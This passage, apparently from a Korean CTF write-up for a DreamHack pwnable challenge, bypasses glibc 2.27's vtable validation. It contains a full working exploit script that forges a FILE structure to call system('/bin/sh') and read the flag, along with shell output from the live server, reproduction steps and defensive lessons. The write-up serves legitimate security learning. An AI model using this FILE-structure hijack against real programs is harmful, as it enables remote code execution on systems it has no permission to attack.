payload  = p64(0xfbad8000)
payload += p64(0) * 6
payload += p64(libc + 0x1b3e9a)            # _IO_buf_base = "/bin/sh"
payload += b'\x00' * (0xd8 - len(payload))
payload += p64(libc + 0x3e8360)            # vtable = _IO_str_jumps
payload += p64(0)
payload += p64(libc + 0x4f440)             # +0xe8 = system
print('[*] libc=%#x  payload=%d bytes (300 ์œผ๋กœ ์•ˆ ์ฑ„์›€)' % (libc, len(payload)))
 
p.recvuntil(b'Data: ')
p.send(payload)
p.sendline(b'id')                          # โ† ์ด๊ฒŒ ๊ฐ™์€ ์„ธ๊ทธ๋จผํŠธ์— ์‹ค๋ ค read ์— ๋จนํžŒ๋‹ค
 
out = p.recvall(timeout=5)
print('[*] ์…ธ์—์„œ ๋ฐ›์€ ๋ฐ”์ดํŠธ ์ˆ˜ =', len(out))
print('[*] ๋ฐ›์€ ๋‚ด์šฉ =', out)
p.close()
sapjil_nopad.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” payload ๋ฅผ 300 ์œผ๋กœ ์•ˆ ์ฑ„์šฐ๊ณ  240๋ฐ”์ดํŠธ๋งŒ ๋ณด๋‚ด๋‹ˆ ์…ธ์—์„œ ๋ฐ›์€ ๋ฐ”์ดํŠธ ์ˆ˜๊ฐ€ 0, ๋ฐ›์€ ๋‚ด์šฉ๋„ ๋นˆ ๋ฌธ์ž์—ด๋กœ ์ฐํžŒ๋‹ค
sapjil_nopad.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” payload ๋ฅผ 300 ์œผ๋กœ ์•ˆ ์ฑ„์šฐ๊ณ  240๋ฐ”์ดํŠธ๋งŒ ๋ณด๋‚ด๋‹ˆ ์…ธ์—์„œ ๋ฐ›์€ ๋ฐ”์ดํŠธ ์ˆ˜๊ฐ€ 0, ๋ฐ›์€ ๋‚ด์šฉ๋„ ๋นˆ ๋ฌธ์ž์—ด๋กœ ์ฐํžŒ๋‹ค

ํ•ด๊ฒฐ์€ ๊ฐ„๋‹จํ•˜๋‹ค. ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ •ํ™•ํžˆ 300๋ฐ”์ดํŠธ๋กœ ์ฑ„์šด๋‹ค. read ๊ฐ€ 300์„ ๋‹ค ๋จน๊ณ  ๋ฐ˜ํ™˜ํ•˜๋ฏ€๋กœ ๋’ค์ด์–ด ๋ณด๋‚ธ ๋ช…๋ น์€ ์†Œ์ผ“ ๋ฒ„ํผ์— ๋‚จ์•„ ์…ธ ๋ชซ์ด ๋œ๋‹ค.

payload += b'\x00' * (300 - len(payload))

๋„˜์น˜๋Š” 0xf0~0x12b ๊ตฌ๊ฐ„์€ ํž™ ์ฒญํฌ ์•ˆ์ด๋ผ ์•ˆ์ „ํ•˜๋‹ค. fopen ์ด ์žก๋Š” struct locked_FILE ์€ _IO_FILE_plus(0xe0) ๋’ค์— ๋ฝ๊ณผ _IO_wide_data ๊ฐ€ ๋” ๋ถ™์–ด 0x1d0 ์„ ๋„˜๋Š”๋‹ค. 300๋ฐ”์ดํŠธ๋Š” ๊ทธ ์•ˆ์—์„œ ๋๋‚œ๋‹ค.

์—ฌ๊ธฐ์— time.sleep(0.3) ์„ ํ•˜๋‚˜ ๋” ๋„ฃ์—ˆ๋‹ค. ์—†์–ด๋„ ๋˜์ง€๋งŒ, ๋А๋ฆฐ ๋งํฌ์—์„œ 300๋ฐ”์ดํŠธ๊ฐ€ ๋‘ ์„ธ๊ทธ๋จผํŠธ๋กœ ์ชผ๊ฐœ์ง€๋Š” ๊ฒฝ์šฐ๊นŒ์ง€ ์ƒ๊ฐํ•˜๋ฉด ์žˆ๋Š” ๊ฒŒ ๋‚ซ๋‹ค.


๐Ÿš€ Full Exploit

์‹ค์ œ๋กœ flag ๋ฅผ ๋ฝ‘์€ ์Šคํฌ๋ฆฝํŠธ ์ „๋ฌธ์ด๋‹ค.

#!/usr/bin/env python3
# Bypass IO_validate_vtable (DreamHack, Gold 3, pwnable / id 365)
#
# read(0, fp, 300) ์œผ๋กœ /dev/urandom ์˜ FILE ๊ตฌ์กฐ์ฒด๋ฅผ ํ†ต์งธ๋กœ ๋ฎ์€ ๋’ค fclose(fp) ๊ฐ€ ํ˜ธ์ถœ๋œ๋‹ค.
# ๋Œ€์ƒ์€ Ubuntu 18.04 = glibc 2.27 ์ด๋ผ vtable ์„ ์•„๋ฌด ์ฃผ์†Œ๋กœ๋‚˜ ๋Œ๋ฆฌ๋ฉด
# fclose ์•ˆ์— ์ธ๋ผ์ธ๋œ IO_validate_vtable ์ด __libc_IO_vtables ์„น์…˜ ๋ฐ–์ด๋ผ๋ฉฐ abort ํ•œ๋‹ค.
# ๊ทธ๋ž˜์„œ "์„น์…˜ ์•ˆ์— ์žˆ๋Š” ์ง„์งœ vtable" ์ธ _IO_str_jumps ๋ฅผ ๊ทธ๋Œ€๋กœ ์žฌ์‚ฌ์šฉํ•˜๊ณ ,
# ๊ฑฐ๊ธฐ์„œ ๋ถˆ๋ฆฌ๋Š” _IO_str_finish ๊ฐ€ FILE+0xe8 ์„ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ ํ˜ธ์ถœํ•œ๋‹ค๋Š” ์ ์„ ์“ด๋‹ค.
#
#   _IO_str_finish(fp):
#       rdi = fp->_IO_buf_base           (FILE+0x38)
#       if (rdi && !(fp->_flags & 1))    (_IO_USER_BUF)
#           call *(fp+0xe8)              (_IO_strfile._s._free_buffer)
#
#   โ†’ _IO_buf_base = "/bin/sh", FILE+0xe8 = system ์ด๋ฉด system("/bin/sh").
#
# ์‚ฌ์šฉ๋ฒ•:
#   python3 solve.py                       # ๋กœ์ปฌ (localhost:7182, docker)
#   python3 solve.py <host> <port>         # ์›๊ฒฉ
from pwn import *
import sys, time
 
context.arch = 'amd64'
context.log_level = 'info'
 
HOST = sys.argv[1] if len(sys.argv) > 2 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 7182
 
# โ”€โ”€ glibc 2.27-3ubuntu1 (Ubuntu 18.04) ์˜คํ”„์…‹ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
IO_2_1_stdout_ = 0x3ec760   # printf("%p", stdout) ๋กœ ์ƒˆ๋Š” ๊ฐ’
SYSTEM         = 0x04f440
BINSH          = 0x1b3e9a
IO_STR_JUMPS   = 0x3e8360   # __libc_IO_vtables(0x3e7760~0x3e84c8) ์•ˆ โ†’ ๊ฒ€์ฆ ํ†ต๊ณผ
# โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 
p = remote(HOST, PORT)
 
# 1) libc base ์œ ์ถœ โ€” ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์นœ์ ˆํžˆ stdout ํฌ์ธํ„ฐ๋ฅผ ์ฐ์–ด ์ค€๋‹ค
p.recvuntil(b'stdout: ')
leak = int(p.recvline().strip(), 16)
libc = leak - IO_2_1_stdout_
log.success('leak  _IO_2_1_stdout_ = %#x' % leak)
log.success('libc base             = %#x' % libc)
assert libc & 0xfff == 0, 'libc base ๊ฐ€ ํŽ˜์ด์ง€ ์ •๋ ฌ์ด ์•„๋‹ˆ๋‹ค โ€” ์˜คํ”„์…‹ ํ™•์ธ ํ•„์š”'
 
system  = libc + SYSTEM
binsh   = libc + BINSH
str_jmp = libc + IO_STR_JUMPS
log.info('system=%#x  /bin/sh=%#x  _IO_str_jumps=%#x' % (system, binsh, str_jmp))
 
# 2) ๊ฐ€์งœ _IO_strfile ์กฐ๋ฆฝ
#    _flags ๋Š” ์„ธ ๋น„ํŠธ๊ฐ€ ์ „๋ถ€๋‹ค:
#      _IO_USER_BUF   (0x0001) โ†’ 0 ์ด์–ด์•ผ _IO_str_finish ๊ฐ€ _free_buffer ๋ฅผ ๋ถ€๋ฅธ๋‹ค
#      _IO_IS_FILEBUF (0x2000) โ†’ 0 ์ด์–ด์•ผ fclose ๊ฐ€ _IO_un_link/_IO_file_close_it ๋ฅผ ๊ฑด๋„ˆ๋›ด๋‹ค
#      _IO_USER_LOCK  (0x8000) โ†’ 1 ์ด๋ฉด fclose ๊ฐ€ _lock(0x88) ์—ญ์ฐธ์กฐ๋ฅผ ํ†ต์งธ๋กœ ๊ฑด๋„ˆ๋›ด๋‹ค
flags = 0xfbad8000
 
payload  = p64(flags)          # 0x00 _flags
payload += p64(0) * 6          # 0x08 _IO_read_ptr โ€ฆ 0x30 _IO_write_end
payload += p64(binsh)          # 0x38 _IO_buf_base  โ†’ _IO_str_finish ์˜ ์ธ์ž(rdi)
payload += p64(0)              # 0x40 _IO_buf_end
payload += p64(0) * 4          # 0x48 _IO_save_base โ€ฆ 0x60 _markers
payload += p64(0)              # 0x68 _chain
payload += p32(0)              # 0x70 _fileno
payload += p32(0)              # 0x74 _flags2
payload += p64(0)              # 0x78 _old_offset
payload += p16(0)              # 0x80 _cur_column
payload += p8(0)               # 0x82 _vtable_offset
payload += p8(0)               # 0x83 _shortbuf[1]
payload += p32(0)              # 0x84 (padding)
payload += p64(0)              # 0x88 _lock  โ† _IO_USER_LOCK ๋•์— ์•ˆ ์“ฐ์ธ๋‹ค
payload += p64(0)              # 0x90 _offset
payload += p64(0)              # 0x98 _codecvt
payload += p64(0)              # 0xa0 _wide_data
payload += p64(0)              # 0xa8 _freeres_list
payload += p64(0)              # 0xb0 _freeres_buf
payload += p64(0)              # 0xb8 __pad5
payload += p32(0)              # 0xc0 _mode
payload += b'\x00' * 20        # 0xc4 _unused2[20]
assert len(payload) == 0xd8, hex(len(payload))
payload += p64(str_jmp)        # 0xd8 vtable       โ†’ IO_validate_vtable ํ†ต๊ณผ
payload += p64(0)              # 0xe0 _s._allocate_buffer
payload += p64(system)         # 0xe8 _s._free_buffer โ†’ ์‹ค์ œ๋กœ ๋ถˆ๋ฆฌ๋Š” ์นธ
assert len(payload) == 0xf0, hex(len(payload))
 
# read(0, fp, 300) ์ด ์ •ํ™•ํžˆ 300๋ฐ”์ดํŠธ๋ฅผ ๋จน๊ฒŒ ์ฑ„์šด๋‹ค.
# ์•ˆ ์ฑ„์šฐ๋ฉด ๋’ค์ด์–ด ๋ณด๋‚ผ ์…ธ ๋ช…๋ น์ด ๊ฐ™์€ TCP ์„ธ๊ทธ๋จผํŠธ์— ์‹ค๋ ค read ์— ๊ฐ™์ด ๋นจ๋ ค ๋“ค์–ด๊ฐ€๊ณ ,
# ์…ธ์€ ์ฝ์„ ๊ฒŒ ์—†์–ด ๊ทธ๋Œ€๋กœ ๋ฉˆ์ถ˜๋‹ค(=์•„๋ฌด ์ถœ๋ ฅ๋„ ์—†๋Š” ์‹คํŒจ๋กœ ๋ณด์ธ๋‹ค).
payload += b'\x00' * (300 - len(payload))
assert len(payload) == 300
 
p.recvuntil(b'Data: ')
p.send(payload)
time.sleep(0.3)
 
# 3) system("/bin/sh") ๋กœ ๋–จ์–ด์ง„ ์…ธ
p.sendline(b'id; cat /home/bypass_valid_vtable/flag; cat flag')
try:
    print(p.recvall(timeout=5).decode(errors='replace'))
except EOFError:
    pass
p.close()

๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ์— ๋จผ์ € ๋Œ๋ ค ๋ดค๋‹ค. ๋ฐฐํฌ๋ณธ์˜ flag ํŒŒ์ผ์€ DH{**flag**} ๋ผ๋Š” ๋”๋ฏธ๋ผ ์—ฌ๊ธฐ์„œ ๋‚˜์˜ค๋Š” ๊ฑด ์ง„์งœ flag ๊ฐ€ ์•„๋‹ˆ์ง€๋งŒ, uid ์ค„์ด ์˜ค๋ฉด ์…ธ์€ ํ™•์‹คํžˆ ์žกํžŒ ๊ฒƒ์ด๋‹ค.

python3 solve.py localhost 7182
๋กœ์ปฌ ๋„์ปค ์ปจํ…Œ์ด๋„ˆ์— ์ต์Šค๋ฅผ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” uid ๊ฐ€ bypass_valid_vtable ๋กœ ์ฐํžˆ๊ณ  ๋”๋ฏธ flag ๊ฐ€ ์ฝํžŒ๋‹ค
๋กœ์ปฌ ๋„์ปค ์ปจํ…Œ์ด๋„ˆ์— ์ต์Šค๋ฅผ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” uid ๊ฐ€ bypass_valid_vtable ๋กœ ์ฐํžˆ๊ณ  ๋”๋ฏธ flag ๊ฐ€ ์ฝํžŒ๋‹ค

๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„ ์ฃผ์†Œ๋กœ ๋Œ๋ฆฌ๋ฉด ์ง„์งœ flag ๊ฐ€ ๋‚˜์˜จ๋‹ค.

python3 solve.py host3.dreamhack.games 10477
๋ผ์ด๋ธŒ ๋“œ๋ฆผํ•ต ์„œ๋ฒ„์— ์ต์Šค๋ฅผ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” ์…ธ์„ ์žก๊ณ  flag ํŒŒ์ผ์„ ์ฝ์–ด DH ๋กœ ์‹œ์ž‘ํ•˜๋Š” 64์ž๋ฆฌ ๊ฐ’์ด ์ถœ๋ ฅ๋œ๋‹ค
๋ผ์ด๋ธŒ ๋“œ๋ฆผํ•ต ์„œ๋ฒ„์— ์ต์Šค๋ฅผ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” ์…ธ์„ ์žก๊ณ  flag ํŒŒ์ผ์„ ์ฝ์–ด DH ๋กœ ์‹œ์ž‘ํ•˜๋Š” 64์ž๋ฆฌ ๊ฐ’์ด ์ถœ๋ ฅ๋œ๋‹ค
uid=1000(bypass_valid_vtable) gid=1000(bypass_valid_vtable) groups=1000(bypass_valid_vtable)
DH{2eb9fa36f3ffbb948fd525ad7190d263da14eb01af4106a0a037b6ec9662f582}


๐Ÿงช ์žฌํ˜„ํ•˜๊ธฐ

์ฃผ์†Œ๊ฐ€ ํ•˜๋“œ์ฝ”๋”ฉ๋ผ ์žˆ์–ด์„œ "๋‚ด ํ™˜๊ฒฝ์—์„  ์–ด๋–ป๊ฒŒ ํ•˜๋‚˜" ๊ฐ€ ๋ฐ”๋กœ ๊ฑธ๋ฆฐ๋‹ค. ๊ทธ๋ž˜์„œ ๋กœ์ปฌ ์žฌํ˜„ ๋ฐฉ๋ฒ•์„ ๊ฐ™์ด ์ •๋ฆฌํ•ด ๋‘”๋‹ค.

1. ๋ฌธ์ œ ์„œ๋ฒ„ ๊ทธ๋Œ€๋กœ ๋„์šฐ๊ธฐ

๋ฐฐํฌ๋ณธ์— Dockerfile ์ด ๋“ค์–ด ์žˆ์œผ๋‹ˆ ๊ทธ๋Œ€๋กœ ์“ฐ๋ฉด ๋œ๋‹ค.

cd extracted
docker build -t bypass-iovt:local .
docker run -d --name bypass-iovt-test -p 127.0.0.1:7182:7182 bypass-iovt:local

ํฌํŠธ 7182 ๋Š” Dockerfile ์˜ ENV chall_port ๊ฐ’์ด๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ ๋นŒ๋“œ ๋ช…๋ น์€ ์†Œ์Šค ์ฒซ ์ค„ ์ฃผ์„์— ๊ทธ๋Œ€๋กœ ์ ํ˜€ ์žˆ๋‹ค.

gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie

2. gdb ๋กœ ๋œฏ์–ด๋ณด๋ ค๋ฉด โ€” ํ˜ธ์ŠคํŠธ์—์„œ glibc 2.27 ๋กœ ์‹คํ–‰

๋””๋ฒ„๊น…์€ ์ปจํ…Œ์ด๋„ˆ ์•ˆ๋ณด๋‹ค ํ˜ธ์ŠคํŠธ์—์„œ ํ•˜๋Š” ๊ฒŒ ํŽธํ•˜๋‹ค. ๋ฐฐํฌ๋œ libc.so.6 ๋งŒ์œผ๋กœ๋Š” ์•ˆ ๋˜๊ณ  ์ง์ด ๋งž๋Š” ๋กœ๋”๊ฐ€ ํ•„์š”ํ•˜๋‹ค. ์ด๋ฏธ์ง€์—์„œ ๊บผ๋‚ด ์˜ค๋ฉด ๋œ๋‹ค.

mkdir -p local
cid=$(docker create bypass-iovt:local)
docker cp "$cid:/lib/x86_64-linux-gnu/ld-2.27.so" local/ld-2.27.so
docker rm "$cid"
 
cp extracted/libc.so.6 extracted/bypass_valid_vtable local/
chmod +x local/bypass_valid_vtable local/libc.so.6
 
patchelf --set-interpreter "$PWD/local/ld-2.27.so" --set-rpath "$PWD/local" \
         local/bypass_valid_vtable

ldd local/bypass_valid_vtable ์ด local/libc.so.6 ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉด ์„ฑ๊ณต์ด๋‹ค. ์ด ์ƒํƒœ๋ฉด ์•ž์—์„œ ์“ด gdb_check.gdb ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋ˆ๋‹ค.

ํ•œ ๊ฐ€์ง€ ์„ฑ๊ฐ€์‹  ์ . patchelf ๋กœ ์„น์…˜์„ ์˜ฎ๊ธฐ๋ฉด gdb ๊ฐ€ ๋งค๋ฒˆ warning: Loadable section ".dynsym" outside of ELF segments ๋ฅผ ์—ฌ๋Ÿฌ ์ค„ ๋ฑ‰๋Š”๋‹ค. ์„น์…˜๋งˆ๋‹ค ๋‘ ์ค„์”ฉ, ์‹ค์ธก 1203 ๋ฐ”์ดํŠธ๋‹ค. gdb ์„ค์ •์œผ๋กœ๋Š” ๋ชป ๋ˆ๋‹ค. ๋™์ž‘์—๋Š” ์˜ํ–ฅ์ด ์—†์œผ๋‹ˆ 2>&1 | grep -avE "Loadable section|^ in /home" | cat -s ๋กœ ๊ทธ ์ค„๋งŒ ๊ฑท์–ด๋ƒˆ๋‹ค. -a ๋Š” ๋ณดํ—˜์ด๋‹ค. ์ด ํ™˜๊ฒฝ์—์„œ๋Š” ์—†์–ด๋„ ๊ฒฐ๊ณผ๊ฐ€ ๊ฐ™์•˜์ง€๋งŒ, gdb ๊ฐ€ x/s ๋กœ ๋ฑ‰๋Š” ๋ฐ”์ดํŠธ์— ๋น„ UTF-8 ์ด ์„ž์ด๋ฉด grep ์ด ์ŠคํŠธ๋ฆผ์„ ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ํŒ์ •ํ•˜๊ณ  ๋’ค์ชฝ ์ถœ๋ ฅ์„ ํ†ต์งธ๋กœ ์‚ผ์ผœ ๋ฒ„๋ฆฐ๋‹ค.

3. ์˜คํ”„์…‹์„ ์ž๊ธฐ libc ์—์„œ ๋‹ค์‹œ ๊ตฌํ•˜๋ ค๋ฉด

libc ๊ฐ€ ๋‹ค๋ฅด๋ฉด ์ด ๊ธ€์˜ ์ˆซ์ž๋Š” ์ „๋ถ€ ํ‹€๋ฆฐ๋‹ค. ๋‹ค์‹œ ๊ตฌํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์ด๋ ‡๋‹ค.

๊ฐ’๊ตฌํ•˜๋Š” ๋ฒ•
_IO_2_1_stdout_readelf -s libc.so.6 | grep _IO_2_1_stdout_ (export ๋จ)
system๊ฐ™์€ ๋ฐฉ๋ฒ•
/bin/shstrings -a -t x libc.so.6 | grep '/bin/sh'
__libc_IO_vtables ๋ฒ”์œ„readelf -S libc.so.6 | grep -A1 __libc_IO_vtables
_IO_str_jumps์œ„์˜ find_str_jumps.py (์‹ฌ๋ณผ์ด ์—†์–ด ์Šค์บ”์ด ํ•„์š”)

fclose ์•ˆ์˜ ๊ฒ€์‚ฌ ์œ„์น˜(fclose+0x69)๋„ ๋ฒ„์ „๋งˆ๋‹ค ๋‹ค๋ฅด๋‹ค. objdump -d ๋กœ lea ๋‘ ๊ฐœ์™€ call *0x10(%r12) ๋ฅผ ์ฐพ์•„ ๋‹ค์‹œ ์žก์œผ๋ฉด ๋œ๋‹ค.

4. ํ•œ ๋ฐฉ์— ํ™•์ธ

์œ„ ๊ณผ์ •์„ ๋ฌถ์€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์—… ํด๋”์— ๊ฐ™์ด ๋’€๋‹ค.

./reproduce.sh                    # ๋กœ์ปฌ ๋„์ปค โ€” ์…ธ ํš๋“๊นŒ์ง€ ํ™•์ธ
./reproduce.sh <host> <port>      # ๋ผ์ด๋ธŒ โ€” ์ง„์งœ flag ๋Œ€์กฐ

๋กœ์ปฌ ๋ชจ๋“œ๊ฐ€ flag ๋ฅผ ๋Œ€์กฐํ•˜์ง€ ์•Š๋Š” ๊ฑด ๋ฐฐํฌ๋ณธ flag ๊ฐ€ ๋”๋ฏธ๋ผ์„œ๋‹ค. ๋”๋ฏธ๋ฅผ ์ง„์งœ์ธ ์ฒ™ ํ†ต๊ณผ์‹œํ‚ค๋ฉด ์žฌํ˜„ ์Šคํฌ๋ฆฝํŠธ ์ž์ฒด๋ฅผ ๋ชป ๋ฏฟ๊ฒŒ ๋œ๋‹ค. ๊ทธ๋ž˜์„œ ๋กœ์ปฌ์€ uid=...(bypass_valid_vtable) ์ค„์ด ์˜ค๋Š”์ง€๋กœ๋งŒ ํŒ์ •ํ•œ๋‹ค.

ํ™”๋ฉด์— ์ด๊ฒŒ ๋œจ๋ฉด์ƒํƒœ
uid=1000(bypass_valid_vtable)์…ธ ํš๋“ ์„ฑ๊ณต
์ถœ๋ ฅ 0๋ฐ”์ดํŠธ300๋ฐ”์ดํŠธ ํŒจ๋”ฉ์„ ๋นผ๋จน์—ˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ํฌ๋‹ค
Fatal error: glibc detected an invalid stdio handlevtable ์ฃผ์†Œ๊ฐ€ ์„น์…˜ ๋ฐ–์ด๋‹ค
Segmentation fault_flags ๋น„ํŠธ๊ฐ€ ํ‹€๋ ค _lock ๋˜๋Š” _chain ์„ ๋ฐŸ์•˜๋‹ค


๐Ÿ“ ๊ฒฐ๋ก 

๋ง‰๋Š” ์ชฝ์ด "์œ„์น˜"๋ฅผ ๊ฒ€์‚ฌํ•˜๋ฉด, ๊ณต๊ฒฉ์€ "๋‚ด์šฉ"์„ ํฌ๊ธฐํ•˜๊ณ  ์œ„์น˜๋ฅผ ๋งž์ถ˜๋‹ค

2.24 ์˜ ๋Œ€์‘์€ ํ•ฉ๋ฆฌ์ ์ด๋‹ค. vtable ํฌ์ธํ„ฐ๊ฐ€ libc ์˜ ์ •์ƒ ํ…Œ์ด๋ธ” ์˜์—ญ์„ ๋ฒ—์–ด๋‚˜๋Š” ๊ฑด ์–ด๋–ค ์ •์ƒ ๋™์ž‘์œผ๋กœ๋„ ์„ค๋ช…์ด ์•ˆ ๋˜๋‹ˆ, ๊ทธ๊ฒƒ๋งŒ ๊ฑธ๋Ÿฌ๋„ ์ž„์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ํ˜ธ์ถœ์€ ์‚ฌ๋ผ์ง„๋‹ค.

๋‹ค๋งŒ ๊ทธ ๊ฒ€์‚ฌ๋Š” "์„น์…˜ ์•ˆ์ด๋ƒ"๋งŒ ๋ณธ๋‹ค. ์„น์…˜ ์•ˆ์— ์žˆ๋Š” ํ…Œ์ด๋ธ”๋“ค ์‚ฌ์ด์—์„œ ์–ด๋А ์ŠคํŠธ๋ฆผ ์ข…๋ฅ˜์— ์–ด๋А vtable ์ด ๋ถ™์–ด์•ผ ํ•˜๋Š”๊ฐ€๋Š” ๋ณด์ง€ ์•Š๋Š”๋‹ค. ํŒŒ์ผ ์ŠคํŠธ๋ฆผ์— ๋ฌธ์ž์—ด ์ŠคํŠธ๋ฆผ์šฉ vtable ์ด ๋‹ฌ๋ ค ์žˆ์–ด๋„ ํ†ต๊ณผ๋‹ค.

๊ทธ๋ฆฌ๊ณ  _IO_str_jumps ๋Š” ํ•˜ํ•„ ๊ตฌ์กฐ์ฒด ๋’ท๋ถ€๋ถ„์„ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ ์“ฐ๋Š” vtable ์ด๋‹ค. FILE ์„ ํ†ต์งธ๋กœ ๋ฎ์„ ์ˆ˜ ์žˆ๋Š” ์ƒํ™ฉ์ด๋ผ๋ฉด ๊ทธ ์นธ๋„ ๋‹น์—ฐํžˆ ์šฐ๋ฆฌ ๊ฒƒ์ด๋‹ค. ๋ง‰ํžŒ ๊ฑด ์ž„์˜ ์ฃผ์†Œ ์ ํ”„์˜€๊ณ , ๋‚จ์€ ๊ฑด libc ๊ฐ€ ์›๋ž˜ ์ œ๊ณตํ•˜๋˜ ๊ฐ„์ ‘ ํ˜ธ์ถœ์ด์—ˆ๋‹ค.

๊ณต๊ฒฉ ํ‘œ๋ฉด์€ ํ•จ์ˆ˜๊ฐ€ ์•„๋‹ˆ๋ผ ๊ตฌ์กฐ์ฒด๋‹ค

์ด ๋ฌธ์ œ์—์„œ ์‹ค์ œ๋กœ ํ˜ธ์ถœ๋˜๋Š” libc ํ•จ์ˆ˜๋Š” fclose ํ•˜๋‚˜๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๊ทธ ํ•œ ๋ฒˆ์˜ ํ˜ธ์ถœ์ด _flags ์—ฌ๋Ÿฌ ๋น„ํŠธ, _lock, vtable, _IO_buf_base, ๊ทธ๋ฆฌ๊ณ  ๊ตฌ์กฐ์ฒด ๋ฒ”์œ„๋ฅผ ๋„˜์–ด์„  +0xe8 ๊นŒ์ง€ ์ฝ๋Š”๋‹ค.

read(0, fp, 300) ์ด๋ผ๋Š” ํ•œ ์ค„์„ "300๋ฐ”์ดํŠธ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ"๋กœ๋งŒ ๋ณด๋ฉด ํฌ๊ธฐ ๋ฌธ์ œ๋กœ ๋ณด์ธ๋‹ค. ์‹ค์ œ๋กœ๋Š” libc ๋‚ด๋ถ€ ์ƒํƒœ ๊ธฐ๊ณ„๋ฅผ ํ†ต์งธ๋กœ ๋„˜๊ฒจ์ค€ ๊ฒƒ์ด๋‹ค.

๋ฐฉ์–ด ์ชฝ์—์„œ ๋ณผ ๊ฒƒ

FILE * ๊ฐ™์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋‚ด๋ถ€ ๊ตฌ์กฐ์ฒด๋ฅผ readยทmemcpy ์˜ ๋ชฉ์ ์ง€๋กœ ์“ฐ์ง€ ์•Š๋Š” ๊ฒŒ ๋จผ์ €๋‹ค. ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ๋ฅผ ๋‹ด๋Š” ๋ฒ„ํผ์™€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•ธ๋“ค์€ ์• ์ดˆ์— ๋‹ค๋ฅธ ๋ณ€์ˆ˜์—ฌ์•ผ ํ•œ๋‹ค.

read(0, fp, 300) ์ฒ˜๋Ÿผ ๋Œ€์ƒ์ด ํฌ์ธํ„ฐ ๋ณ€์ˆ˜์ธ์ง€ ๊ทธ ๋Œ€์ƒ ๊ฐ์ฒด์ธ์ง€ ํ—ท๊ฐˆ๋ฆฌ๋Š” ์ฝ”๋“œ๋Š” ์ •์  ๋ถ„์„๊ธฐ์—์„œ๋„ ์ž˜ ์•ˆ ๊ฑธ๋ฆฐ๋‹ค. ํฌ๊ธฐ ๊ณ„์‚ฐ์ด ํ‹€๋ฆฐ ๊ฒŒ ์•„๋‹ˆ๋ผ ๋Œ€์ƒ ์ž์ฒด๊ฐ€ ํ‹€๋ฆฐ ๊ฒฝ์šฐ๋ผ sizeof ๊ธฐ๋ฐ˜ ๊ฒ€์‚ฌ๊ฐ€ ํ†ตํ•˜์ง€ ์•Š๋Š”๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์ด ๋ฌธ์ œ์˜ leak ์€ printf("stdout: %p\n", stdout) ์ด์—ˆ๋‹ค. ์—ฐ์Šต ๋ฌธ์ œ๋ผ ์ผ๋ถ€๋Ÿฌ ์ค€ ๊ฒƒ์ด์ง€๋งŒ, ์‹ค๋ฌด์—์„œ ๋””๋ฒ„๊ทธ ๋กœ๊ทธ์— ํฌ์ธํ„ฐ๋ฅผ ์ฐ๋Š” ์Šต๊ด€๋„ ๊ฒฐ๊ตญ ๊ฐ™์€ ๊ฒƒ์ด๋‹ค. libc ์ฃผ์†Œ ํ•œ ๊ฐœ๋ฉด ๊ทธ ์•ˆ์˜ ๋ชจ๋“  ์‹ฌ๋ณผ๊ณผ ๋ฌธ์ž์—ด์ด ๋”ธ๋ ค ๋‚˜์˜จ๋‹ค.

๋‚จ๋Š” ๊ฒƒ

